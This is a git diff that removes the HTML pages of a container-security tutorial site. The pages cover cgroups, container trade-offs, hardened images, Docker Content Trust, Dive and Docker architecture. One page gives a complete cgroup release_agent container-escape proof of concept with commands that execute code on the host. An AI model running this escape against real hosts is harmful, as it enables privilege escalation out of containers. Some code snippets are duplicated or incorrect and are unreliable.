By setting Disk I/O limits for containers, you can ensure that each container has the resources it needs to perform its tasks without impacting the performance of other containers or the host system. This can help to improve the overall performance and stability of your container environment.

-

Network Cgroup with example

- -

For example, consider a scenario where you have a container running a web server. You may want to limit the amount of bandwidth the container can use to prevent it from consuming too much of the available network resources. To do this, you can use Network Cgroup to set a bandwidth limit for the container.

-

To demonstrate this with a hands-on example, let’s first create a new container using Docker:

-
$ docker run -it --name web-server ubuntu
-

Next, we will use the cgcreate command to create a new Network Cgroup for our container:

-
$ cgcreate -g net_cls:web-server
-

This will create a new Network Cgroup named web-server that we can use to limit the network resources of our container.

-

To set a bandwidth limit for our container, we can use the tc command to create a new traffic control class and attach it to our Network Cgroup:

-
$ tc class add dev eth0 parent 1:1 classid 1:10 htb rate 1mbps
-$ cgset -r net_cls.classid=1:10 web-server
-

This will limit the container to using 1Mbps of bandwidth. If the container tries to use more bandwidth than this, it will be throttled by the kernel.

-

We can verify that the bandwidth limit is in place by using the tc command to show the traffic control classes:

-
$ tc -s class show dev eth0
-

This will show all of the traffic control classes on the eth0 interface, including the one we just created for our container.

-

In this example, we demonstrated how to use Network Cgroup to limit the bandwidth used by a container. However, Network Cgroup can also be used to control other network resources, such as the number of connections, packet rate, and more.

-

PID Cgroup with example

- -

Cgroup stands for “Control Group” and is a Linux kernel feature that allows the system to allocate resources (such as CPU and memory) to a group of processes. This allows the system to prioritize or limit the resource usage of certain processes.

-

In a container, PID and Cgroup are used to isolate processes and resources within the container. For example, if we have a container running a web server, we can assign a specific PID and Cgroup to that container to ensure that the web server has access to the necessary resources and is not impacted by other processes running on the system.

-

Here is a hands-on example of using PID and Cgroup in a container:

-

Start a new container using the docker run command, specifying the image and any necessary arguments:

-
docker run -d --name my-web-server -p 8080:80 nginx
-

Check the PID of the main process inside the container by running the following command:

-
docker exec my-web-server ps -aux
-

This will display a list of processes running inside the container, including the PID of the main process (in this case, the nginx web server).

-

Check the Cgroup of the container by running the following command:

-

-cat /sys/fs/cgroup/memory/docker/[CONTAINER ID]/memory.usage_in_bytes
-

This will display the current memory usage of the container in bytes.

-

By using PID and Cgroup, we can ensure that the processes and resources within the container are properly isolated and managed.

-

Created Group release agent (container escape).

- -

The PoC relied on another misconfiguration where the container has elevated privileges, either by the --privileged flag or the apparmor=unconfined flag. The escape can be triggered by an exploit using the Linux cgroups (control groups) mechanism and a ‘release_agent’ file.

-

Linux control groups are intended to allow multiple Docker containers to run in isolation while limiting and monitoring their use of resources. However, the ‘release_agent’ file contains a command that is executed by the kernel with full privileges on the host once the last task in a cgroup terminates. The PoC abuses this functionality by creating a ‘release_agent’ file with a malicious command, and then killing off all the tasks in the cgroup.

-

As the cgroup files are present both in the container and on the host, it is possible to modify them from either, which means an attacker can spawn a process inside the cgroup and gain code execution on the host.

-
# On the host
-
-docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
-
-# In the container
-mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
-
-echo 1 > /tmp/cgrp/x/notify_on_release
-host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
-echo "$host_path/cmd" > /tmp/cgrp/release_agent
-
-echo '#!/bin/sh' > /cmd
-echo "ps aux > $host_path/output" >> /cmd
-chmod a+x /cmd
-
-sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
-

MITRE: Privilege Escalation

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/container-advantage-and-disadvantages/index.html b/public/containersecurity/container-advantage-and-disadvantages/index.html deleted file mode 100644 index 4338ccf..0000000 --- a/public/containersecurity/container-advantage-and-disadvantages/index.html +++ /dev/null @@ -1,851 +0,0 @@ - - - - - - - - -Container Advantage and Disadvantages · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Container Advantage and Disadvantages

-
-
- - -

Container Advantages

-

Every day, developers find new ways to put containerization to work to solve their challenges. There is no shortage of ways to use containerization, and every application will likely produce unique benefits. Here are some of the most common reasons developers decide to containerize:

-
    -
  • -

    Portability

    -
      -
    • No discussion of containerization is complete without at least one mention of the motto, “write once, run anywhere.” Since a container bundles all dependencies, you can take your application just about anywhere without rebuilding it to account for a new environment.
    • -
    -

    Also, the abstraction provided by containerization ensures that your container works the same way regardless of where you deploy it. That means you can take your app to the cloud, run it on in a VM, or go directly to bare metal. As long as the host operating system supports your containerization tools, you are ready to deploy with minimal hassle.

    -
  • -
  • -

    Efficiency

    -
      -
    • -

      Containerization is one of the most efficient methods of virtualization available to developers. Containers improve efficiency in two ways: they use all available resources, and they minimize overhead.

      -
    • -
    • -

      When properly configured, containers allow a host to take advantage of virtually all available resources. Isolated containers can perform their operations without interfering with other containers, allowing a single host to perform many functions.

      -
    • -
    • -

      Containers also remove the need for virtualized operating systems, hypervisors, and other bottlenecks typically introduced by virtualization techniques. Unlike VMs, which rely on their virtual kernel, containers use the host operating system’s kernel. This drastically reduces overhead and minimizes resource use.

      -
    • -
    -
  • -
  • -

    Agility

    -
      -
    • Containerization is a crucial tool for streamlining DevOps workflows. You can create containers rapidly, deploy them to any environment, where they can be used to solve many diverse DevOps challenges.
    • -
    -

    When a task presents itself, you can quickly develop a container to handle the job. If it is no longer needed, you can automatically shut it down until it is needed again. This is a technique known as orchestration. Technologies like Kubernetes automate the process of coordinating, managing, scaling, and removing containers.

    -

    You can think of Kubernetes as the conductor of your container orchestra. With the help of Kubernetes-coordinated containers, developers can rapidly respond to problems and spin up novel solutions without worrying about lengthy and complicated deployments.

    -
  • -
  • -

    Faster delivery

    -
      -
    • -

      How long does it take upgrades to go from concept to implementation? Generally, the bigger an application, the longer it takes to get any improvements implemented. Containerization solves this issue by compartmentalizing your application. You can divide even the most enormous beast of an application into discrete parts using microservices.

      -
    • -
    • -

      Microservices take apart much larger applications by segmenting pieces into containers. This division makes it much easier for developers to implement changes and deploy new code. You can change isolated areas of the application without affecting the whole.

      -
    • -
    -
  • -
  • -

    Improved security

    -
      -
    • -

      The isolation introduced by containerization also provides an additional layer of security. Because containers are isolated from one another, you can be confident that your applications are running in their own self-contained environment. That means that even if the security of one container is compromised, other containers on the same host remain secure.

      -
    • -
    • -

      In addition to being isolated from one another, containers are also isolated from the host operating system and can only minimally interact with computing resources. All of this equates to an inherently more secure way to deploy applications.

      -
    • -
    -
  • -
  • -

    Faster app startup

    -
      -
    • -

      Compared to other methods of virtualization such as VMs, containers are extremely lightweight. One of the many benefits of being lightweight is rapid startup times. Because a container doesn’t rely on a hypervisor or virtualized operating system to access computing resources, startup times are virtually instantaneous.

      -
    • -
    • -

      The only limiting factor is the application itself. With no substantial overhead to wait for, the only startup delay is from your code. Rapid startup is a great reason for frequent updates and improvements.

      -
    • -
    -
  • -
  • -

    Easier management

    -
      -
    • -

      Containerization allows developers the versatility to operate their code in either a virtualized or bare-metal environment. Whatever the demands of deployment, containerization can rise to meet them. Should there be a sudden need to retool your environment from metal to virtual or vice versa, your containerized applications are already prepared to make the switch.

      -
    • -
    • -

      Containerized apps using microservices become so flexible that you can host certain elements on bare metal and deploy others to virtual cloud environments.

      -
    • -
    • -

      Thinking with containers allows developers to reconceptualize their available resources. That might mean squeezing an extra drop of processing from a machine at maximum capacity. Or it could mean finding that what before seemed like a resource limitation was simply an opportunity to innovate.

      -
    • -
    -
  • -
  • -

    Flexibility

    -
      -
    • -

      Kubernetes offers a variety of tools that simplify container management, like rollbacks and upgrades, as part of the platform. It also handles installation. There are self-healing features you can use to attempt to recover failed containers, terminate containers that fail health checks, and constantly monitor your containers’ health and status.

      -
    • -
    • -

      Kubernetes also automates resource management. You can allocate each container a set amount of CPU and RAM to handle its tasks. Ultimately, managing containers with the help of a tool such as Kubernetes is leaps and bounds easier than traditional application management methods.

      -
    • -
    -
  • -
-

Container Disadvantages

-
    -
  • -

    Not right for all tasks

    -
      -
    • containers are ideally suited to microservice-type application development – an approach that allows more complex applications to be configured from basic building blocks, where each building block is deployed in a container and the constituent containers are linked together to form the cohesive application. The application’s functionality can then be scaled by deploying more containers of the appropriate building blocks rather than entire new iterations of the full application.
    • -
    -
  • -
  • -

    Grappling with dependencies

    -
      -
    • Common VMs are extremely self-contained and each VM includes a unique operating system (OS), drivers and application components. VMs can also be migrated to any other system as long as a suitable hypervisor is available. By comparison, containers run on top of a physical OS, sharing much of the underlying OS kernel along with many libraries and binaries. Bittman explained that placing dependencies on containers that can limit portability between servers. For example, Linux containers under Docker cannot run on current versions of Windows Server.
    • -
    -
  • -
  • -

    Weaker isolation

    -
      -
    • -

      Hypervisor-based VMs provide a high level of isolation from one another because the system’s hardware resources are all virtualized and presented to the VMs through the hypervisor. This means a bug, virus or intrusion could compromise one VM, but not carry over to other VMs.

      -
    • -
    • -

      Containers are weaker because they share an OS kernel and components and already have a deep level of authorization (usually root access in Linux environments) in order to run in the first place. As a consequence, flaws and attacks have a much greater potential to carry down into an underlying OS and over into other containers – potentially propagating malicious activity far beyond the original event.

      -
    • -
    • -

      While container platforms are evolving to segregate OS rights and limit vulnerable security postures, Bittman explains that administrators can boost security now by running containers in a VM. For example, it’s possible to set up a Linux VM on Hyper-V and install Docker containers on the Linux VM. Even if containers within the VM are compromised, the vulnerability will not extend outside of the VM – limiting the scope of potential damage.

      -
    • -
    -
  • -
  • -

    Potential for sprawl

    -
      -
    • Where VM lifecycle management is important for hypervisor-based environments, lifecycle management is absolutely critical for containers. Containers can be spun up and duplicated at an astonishing rate. This is an important benefit of containers, but it’s also possible to consume a vast amount of computing resources without truly realizing it. That’s not bad if the application’s constituent containers are spun down or deleted when they’re no longer needed. But the costs to scale up a containerized application, and then forgetting to scale it back later, can impose significant (and unnecessary) cloud computing costs for the enterprise. Bittman noted that cloud providers love it – they make money renting computing power – and the onus is on users to watch how containers are deployed.
    • -
    -
  • -
  • -

    Limited tools

    -
      -
    • The kind of tools needed to monitor and manage containers are still lacking in the industry. This is not a new phenomenon. The early days of hypervisor-based virtualization were marked by a shortage of suitable tools. And just as capable VM monitoring and management tools are now readily available, new tools are starting to appear for container management. These include Google’s open source Docker management tools Kubernetes, DockerUI to replace Linux command line functions with a web-based front end, Logspout to route container logs to a central location and so on.
    • -
    -
  • -
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/container-image-security/index.html b/public/containersecurity/container-image-security/index.html deleted file mode 100644 index 39ab2fc..0000000 --- a/public/containersecurity/container-image-security/index.html +++ /dev/null @@ -1,836 +0,0 @@ - - - - - - - - -Container Image Security · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Container Image Security

-
-
- - -

Container Image Security

-
    -
  • Building secure container images
  • -
-

Choosing base images

-

Alpine

-
    -
  • Pros -
      -
    • very small images: the community pays a lot attention on minimizing image sizes
    • -
    • minimum functionality: only absolutely necessary packages contained
    • -
    • lightweight init system: like Gentoo, Alpine uses OpenRC, a lightweight alternative to systemd
    • -
    • musl performance: for some cases, musl libc can be more performant than glibc
    • -
    -
  • -
  • Cons -
      -
    • rather Poor Documentation
    • -
    • Small team : Currently there are 3 developer listed as the alpine linux team
    • -
    • possible incompatibilities: musl libc may cause problems with some C-based plugins and adjustments may be necessary if you compile software yourself
    • -
    -
  • -
-

Debian

-
    -
  • -

    Pro:

    -
      -
    • small images: the size of slimmed down Debian images (such as minideb by Bitnami) is almost on par with Alpine (e.g. mminideb + Python is just 7 MB larger than Alpine + Python)
    • -
    • lots of packages: there’s hardly any software for Linux which hasn’t been packaged for Debian
    • -
    • well tested: due to its popularity, Debian is used widely and issues are more likely to be found
    • -
    • comprehensive documentation; also, the community produced a big amount of additional documentations and tutorials
    • -
    • more security reviews: again, due to its larger community, Debian gets more attention and its more likely that vulnerabilities are discovered, e.g in glibc versus in musl libc (assumption). Debian also has a security audit team, which proactively looks for security issues.
    • -
    • provenance: validating authenticity of packages is possible, e.g. with debsigs / dpkgsig
    • -
    -
  • -
  • -

    Con:

    -
      -
    • slightly larger attack surface: minideb consists of about 35 packages (such as bash, grep, hostname, mount …) due to apt depending on it
    • -
    • more false positives: scanners may report more false positives you need to look at
    • -
    -
  • -
-

Distroless images

-

simple distroless Golang Example

-
package main
-
-import "fmt"
-
-func main() {
-	fmt.Println("Hello, world!")
-}
-
FROM golang:1.18 as build
-WORKDIR /go/src/app
-COPY . .
-RUN go mod download
-RUN go vet -v
-RUN go test -v
-RUN CGO_ENABLED=0 go build -o /go/bin/app
-FROM gcr.io/distroless/static-debian11
-COPY --from=build /go/bin/app /
-CMD ["/app"]
-
    -
  • -

    Distroless 2.0 project - uses Alpine as a minimalistic & secure base image, and with the help of two tools, apko and melange, allows to build an application-tailored image containing only (mostly?) the necessary bits.

    -
  • -
  • -

    What is apko ?

    -
      -
    • Declarative OCI image builder tool based on apk
    • -
    • Images are defined in YAML files
    • -
    • Build are fully reproducible
    • -
    • Automatically generates SBOMs for every imahes
    • -
    • Platform-agnostic buids via Docker + apko images
    • -
    -
  • -
  • -

    example of apko.yaml file

    -
  • -
-
contents:
-  repositories:
-    - https://dl-cdn.alpinelinux.org/alpine/edge/main
-  packages:
-    - alpine-base
-entrypoint:
-  command: /bin/sh -l
-# optional environment configuration
-environment:
-  PATH: /usr/sbin:/sbin:/usr/bin:/bin
-

Buiding the images with apko via Docker

-
docker run -v "$PWD":/work cgr.dev/chainguard/apko build examples/alpine-base.yaml apko-alpine:edge apko-alpine.tar
-

test the image with docker

-
$ docker load < alpine.tar
-$ docker run -it apko-alpine:test 
-
    -
  • -

    Why apko ?

    -
      -
    • Introduced by alphine , it used a different methodology to handle package management
    • -
    • Package Installation or removal is done as a side effect of modifyinh the system state
    • -
    • This creates the ideal conditions for reproducible and declaratve pipelines
    • -
    -
  • -
  • -

    where do package come from ?

    -
      -
    • for alphine-base images , use Alphine apks found at pkgs.alpinelinux.org/packages
    • -
    • for wolfi images , use wolfi apks that are listed in the wolfi-os repository hosted at packages.wolfi.dev/os
    • -
    • Don’t mix!
    • -
    • You cam also create your own apks with melange
    • -
    -
  • -
  • -

    why distroless ?

    -
      -
    • Minimalist container images with only what’s absolutely necessary to build or execute your application
    • -
    • Popular base images are full of software that only makes sense on bare metal
    • -
    • No need for package managers or interactive shells on production images
    • -
    • less dependencies = less attack surface
    • -
    -
  • -
-
docker run cgr.dev/chainguard/apko version
-
docker run -v "$PWD":/work cgr.dev/chainguard/apko build examples/alpine-base.yaml apko-alpine:edge apko-alpine.tar
-

Scratch Images

-

The default golang image is great! It allows you to quickly build and test your golang projects. But it has a few draw backs, it is a massive 964 MB even the slimmed down alpine based image is 327 MB, not only that but having unused binaries and packages opens you up to security flaws.

-

Using a multi-stage image will allow you to build smaller images by dropping all the packages used to build the binaries and only including the ones required during runtime.

-
# Create a builder stage
-FROM golang:alpine as builder
-
-RUN apk update
-RUN apk add --no-cache git ca-certificates \
-    && update-ca-certificates
-
-COPY . .
-
-# Fetch dependencies
-RUN go mod download
-RUN go mod verify
-
-# Build the binary
-RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \
-    go build -ldflags="-w -s" \
-    -o /go/bin/my-docker-binary
-
-# Create clean image
-FROM alpine:latest
-
-# Copy only the static binary
-COPY --from=builder /go/bin/my-docker-binary \
-    /go/bin/my-docker-binary
-
-# Run the binary
-ENTRYPOINT ["/go/bin/my-docker-binary"]
-

Great now we have an image thats 20 MB thats a 95% reduction! Remember these are production images so we use -ldflags="-w -s" to turn off debug information -w and Go symbols -s.

-

Scratch Image and Lowest Privilege User

-

Now to get rid of all those unused packages. Instead of using the alpine image as our final stage we will use the scratch image which has literally nothing!

-

Will will take this opportunity to also create a non-root user. Add the following snippet to your builder stage

-

-ENV USER=appuser
-ENV UID=10001 
-
-RUN adduser \    
-    --disabled-password \    
-    --gecos "" \    
-    --home "/nonexistent" \    
-    --shell "/sbin/nologin" \    
-    --no-create-home \    
-    --uid "$\{UID\}" \    
-    "$\{USER\}"
-

We will need to copy over the ca-certificates to the final stage, this is only required if you are making https calls and we will also need to copy over the passwd and group files to use our appuser. Finally we need get the stage to use our user.

-
# Copy over the necessary files
-COPY --from=builder \
-    /etc/ssl/certs/ca-certificates.crt \
-    /etc/ssl/certs/
-COPY --from=builder /etc/passwd /etc/passwd
-COPY --from=builder /etc/group /etc/group
-# Use our user!
-USER appuser:appuser
-

So finally your Dockerfile should look something like this:

-
# Create a builder stage
-FROM golang:alpine as builder
-
-RUN apk update
-RUN apk add --no-cache git ca-certificates \
-    && update-ca-certificates
-
-ENV USER=appuser
-ENV UID=10001 
-
-RUN adduser \    
-    --disabled-password \    
-    --gecos "" \    
-    --home "/nonexistent" \    
-    --shell "/sbin/nologin" \    
-    --no-create-home \    
-    --uid "${UID}" \    
-    "${USER}"
-
-COPY . .
-
-# Fetch dependencies
-RUN go mod download
-RUN go mod verify
-
-# Build the binary
-RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \
-    go build -ldflags="-w -s" \
-    -o /go/bin/my-docker-binary
-
-# Create clean image
-FROM scratch
-
-# Copy only the static binary
-COPY --from=builder \
-    /go/bin/my-docker-binary \
-    /go/bin/my-docker-binary
-COPY --from=builder \
-    /etc/ssl/certs/ca-certificates.crt \
-    /etc/ssl/certs/
-COPY --from=builder /etc/passwd /etc/passwd
-COPY --from=builder /etc/group /etc/group
-
-# Use our user!
-USER appuser:appuser
-
-# Run the binary
-ENTRYPOINT ["/go/bin/my-docker-binary"]
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/container-vs-virtualization/index.html b/public/containersecurity/container-vs-virtualization/index.html deleted file mode 100644 index 1c328d5..0000000 --- a/public/containersecurity/container-vs-virtualization/index.html +++ /dev/null @@ -1,610 +0,0 @@ - - - - - - - - -Container vs Virtualization · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Container vs Virtualization

-
-
- - -

A Shift from Monolithic to Microservice Architecture

-

Monolithic

-

Application have changed dramarically

-
    -
  • A Decade Ago ( and still valid ) -
      -
    • Apps were monolithic
    • -
    • Built on single stack such as .NET or Java
    • -
    • Long Lived
    • -
    • Deployed to a single server
    • -
    -
  • -
-

Benefits of monolith - Simple to Develop , Test , Deplot & Scale

-
    -
  • simple to develope because of all the tools and IDEs aupport to that kind of application by default
  • -
  • easy to deploy because all coponets are packed into one bundle
  • -
  • Easy to scale the whole application
  • -
-

Disadvantages of monolith

-
    -
  • Very difficult to maintain
  • -
  • One Component failure will cause the whole system to fail
  • -
  • Very difficult to understand and create the patches for monolithic applications
  • -
  • Take a long time to startup because all the components need to get started
  • -
-

Microservice

-

Today

-
    -
  • Apps are constantly developed
  • -
  • Build from losely coupled components
  • -
  • New version are deployed often
  • -
  • Deployed to a multitude of server
  • -
-

shipping code is damm too hard

-

an efforts to solve complet problem

-

-

every possible good to ship X every possible way to ship

-

-

Enter … Internodal container

-

-

Thats what Docker all about

-

-

Comparing Docker vs VM

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Virtual MachineDocker
each VM runs its own osContainer is just a user space of OS
Boot up time os in minutesContainers instantiate in seconds
VMs snapshots are used sparinglyImages are built incrementaly on top of another layers . lot of images /snapshots
Not effective diffs . No versiob controlledImages can be version controlled docker hub is like GITHUB
Cannot run more than couple of VMs on an aveage laptopCan run many docker containers in a laptop
Only one VM can be stated from one set of VMX and VMDK fileMultiple Docker Containers can be started from one Docker images
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/content-trust-and-integrity-checks/index.html b/public/containersecurity/content-trust-and-integrity-checks/index.html deleted file mode 100644 index cad0d93..0000000 --- a/public/containersecurity/content-trust-and-integrity-checks/index.html +++ /dev/null @@ -1,684 +0,0 @@ - - - - - - - - -Content Trust and Integrity checks · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Content Trust and Integrity checks

-
-
- - -

Content Trust and Integrity checks

-

Docker Content Trust (DCT) makes it simple and easy to verify the integrity and the publisher of images that you download and run. This is especially important when pulling images over untrusted networks such as the internet.

-
docker trust key generate sangam
-Generating key for sangam...
-Enter passphrase for new nigel key with ID 1f78609: 
-Repeat passphrase for new nigel key with ID 1f78609: 
-Successfully generated and loaded private key.... public key available: /root/sangam.pub
-
$ docker trust signer add --key sangam.pub sangam sangam14/dct
-Adding signer "nigel" to sangam14/dct...
-Initializing signed repository for sangam/dct...
-Enter passphrase for root key with ID aee3314: 
-Enter passphrase for new repository key with ID 1a18dd1: 
-Repeat passphrase for new repository key with ID 1a18dd1: 
-Successfully initialized "sangam14/dct"
-Successfully added signer: nigel to sangam14/dct
-
docker trust sign sangam14/dct:signed
-
-docker trust inspect sangam14/dct:signed --pretty
-

Enabling DCT

-
$ export DOCKER_CONTENT_TRUST=1
-

verify the image

-
docker image pull sangam14/dct:unsigned
-No valid trust data for unsigned
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/dive/index.html b/public/containersecurity/dive/index.html deleted file mode 100644 index af66115..0000000 --- a/public/containersecurity/dive/index.html +++ /dev/null @@ -1,716 +0,0 @@ - - - - - - - - -Dive · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Dive

-
-
- - -

Dive

-
    -
  • Ubuntu /Debian
  • -
-
wget https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.deb sudo apt install ./dive_0.9.2_linux_amd64.deb
-
    -
  • RHEL/CemtOS
  • -
-
curl -OL https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.rpm rpm -i dive_0.9.2_linux_amd64.rpm
-
    -
  • Arch Linux
  • -
-
ay -S dive
-

Mac OS X

-
brew install dive
-

How to use Dive

-

To analyze a Docker image simply run dive with an image tag/id/digest:

-

-$ dive <your-image-tag>
-

or if you want to build your image then jump straight into analyzing it:

-
$ dive build -t <some-tag> 
-

example ngnix image

-

-

another tool that make this all more easy

-

https://github.com/prakhar1989/dive-in

-

-

-

recommanded tool slim.ai

-

Remove friction by securing your software supply chain with optimized containers specific to your application needs, while automatically reducing vulnerabilities in the process.

-

https://slim.ai/

-

portal.slim.ai

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/docker-architecture-and-its-components/index.html b/public/containersecurity/docker-architecture-and-its-components/index.html deleted file mode 100644 index 7046e6b..0000000 --- a/public/containersecurity/docker-architecture-and-its-components/index.html +++ /dev/null @@ -1,722 +0,0 @@ - - - - - - - - -Docker architecture and its components · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker architecture and its components

-
-
- - -

Docker architecture and its components

-

Docker Architecture

-

-

Docker architecture consists of three main components:

-
    -
  • Docker Engine: This is the core component of Docker and is responsible for building, running, and distributing Docker containers. It is made up of a daemon, a REST API, and a CLI (command line interface).
  • -
  • Docker Hub: This is a cloud-based registry service that allows users to share and store Docker images. It acts as a central repository for Docker images and makes it easy for users to find and download images that they need for their projects.
  • -
  • Docker Client: This is a command-line tool that allows users to interact with the Docker daemon and perform various tasks such as building, running, and distributing Docker containers.
  • -
-

In addition to these main components, Docker architecture also includes other components such as Docker Compose (a tool for defining and running multi-container Docker applications), Docker Swarm (a tool for orchestrating and managing a cluster of Docker containers), and Docker Machine (a tool for creating and managing Docker hosts on various infrastructure platforms).

-

-

Docker Engine

-

To interact with the Docker Engine using Go, we can use the official Docker API library for Go, which can be found at https://github.com/docker/docker.

-

Here are the steps to interact with the Docker Engine using Go:

-

1.Import the necessary libraries:

-
import (
-    "context"
-    "github.com/docker/docker/api/types"
-    "github.com/docker/docker/client"
-)
-

2.Create a new Docker client:

-
cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())
-if err != nil {
-    log.Fatal(err)
-}
-

3.Use the client to perform various actions on the Docker Engine, such as pulling an image from a registry:

-
reader, err := cli.ImagePull(context.Background(), "alpine:latest", types.ImagePullOptions{})
-if err != nil {
-    log.Fatal(err)
-}
-
-io.Copy(os.Stdout, reader)
-

Close the client when finished:

-
reader, err := cli.ImagePull(context.Background(), "alpine:latest", types.ImagePullOptions{})
-if err != nil {
-    log.Fatal(err)
-}
-
-io.Copy(os.Stdout, reader)
-

Using the Docker API library for Go, we can perform various actions on the Docker Engine, such as pulling images, creating and managing containers, and more.

-

Docker Hub

- -

Finally, we can iterate through the list of repositories and print out the name and description of each repository.

-

Here is the complete Golang program:

-
package main
-
-import (
-"encoding/json"
-"fmt"
-"net/http"
-)
-
-func main() {
-// Make HTTP GET request to Docker Hub API endpoint for retrieving list of repositories
-req, err := http.NewRequest("GET", "https://hub.docker.com/v2/repositories/", nil)
-if err != nil {
-fmt.Println(err)
-return
-}
-// Execute request
-resp, err := http.DefaultClient.Do(req)
-if err != nil {
-    fmt.Println(err)
-    return
-}
-
-// Parse response from Docker Hub
-var data map[string][]map[string]interface{}
-err = json.NewDecoder(resp.Body).Decode(&data)
-if err != nil {
-    fmt.Println(err)
-    return
-}
-
-// Iterate through list of repositories and print out name and description
-for _, repo := range data["results"] {
-    fmt.Println(repo["name"], repo["description"])
-}
-}
-

Docker Client

-

To interact with the Docker client in Go, we will need to import the github.com/docker/docker/client package and create a new Docker client using the NewClient function.

-

Here are the steps to follow:

-
    -
  1. Install the Docker SDK for Go by running go get github.com/docker/docker/client.
  2. -
  3. Import the github.com/docker/docker/client package in your Go code.
  4. -
  5. Create a new Docker client using the client.NewClient function. This function takes a string argument that specifies the Docker daemon URL, and returns a client.Client object.
  6. -
  7. Use the methods provided by the client.Client object to interact with the Docker daemon. Some examples of common methods include ListContainers, InspectContainer, and CreateContainer. -For example, to list all running containers on the Docker daemon, you could use the following code:
  8. -
-

-package main
-
-import (
-	"context"
-	"fmt"
-	"github.com/docker/docker/client"
-)
-
-func main() {
-	// Create a new Docker client
-	cli, err := client.NewClient("unix:///var/run/docker.sock", "v1.39", nil, nil)
-	if err != nil {
-		panic(err)
-	}
-	
-	// List all running containers
-	containers, err := cli.ListContainers(context.Background(), types.ContainerListOptions{All: true})
-	if err != nil {
-		panic(err)
-	}
-	
-	// Print the names of the containers
-	for _, container := range containers {
-		fmt.Println(container.Names[0])
-	}
-}
-

This code creates a new Docker client using the Unix socket located at /var/run/docker.sock, and then lists all running containers using the ListContainers method. Finally, it prints the names of the containers to the console.

-

Docker Runtime

-
    -
  • Containerd
  • -
-

Containerd is a runtime for managing containers on a system. It is designed to be lightweight and efficient, making it a popular choice for use in container-based environments. - -Here is an example of using Containerd to run a Docker container:

-

1.Install ContainerD on your system:

-
sudo apt-get install containerd
-
    -
  1. Start the Containerd daemon:
  2. -
-
sudo systemctl start containerd
-
    -
  1. Pull a Docker image from the Docker Hub:
  2. -
-
docker pull ubuntu
-

Run a Docker container using Containerd:

-
containerd run --name my-container ubuntu
-

This will start a new Ubuntu container with the name “my-container” using ContainerD as the runtime. You can then access the container and run commands inside it just like any other Docker container.

-

shim

- -

The Docker runtime also includes a shim, which is a small utility program that acts as an intermediary between the container and the host operating system. The shim is responsible for starting and stopping the container, as well as handling any errors or issues that may occur during execution.

-

An example of how the shim works would be as follows:

-

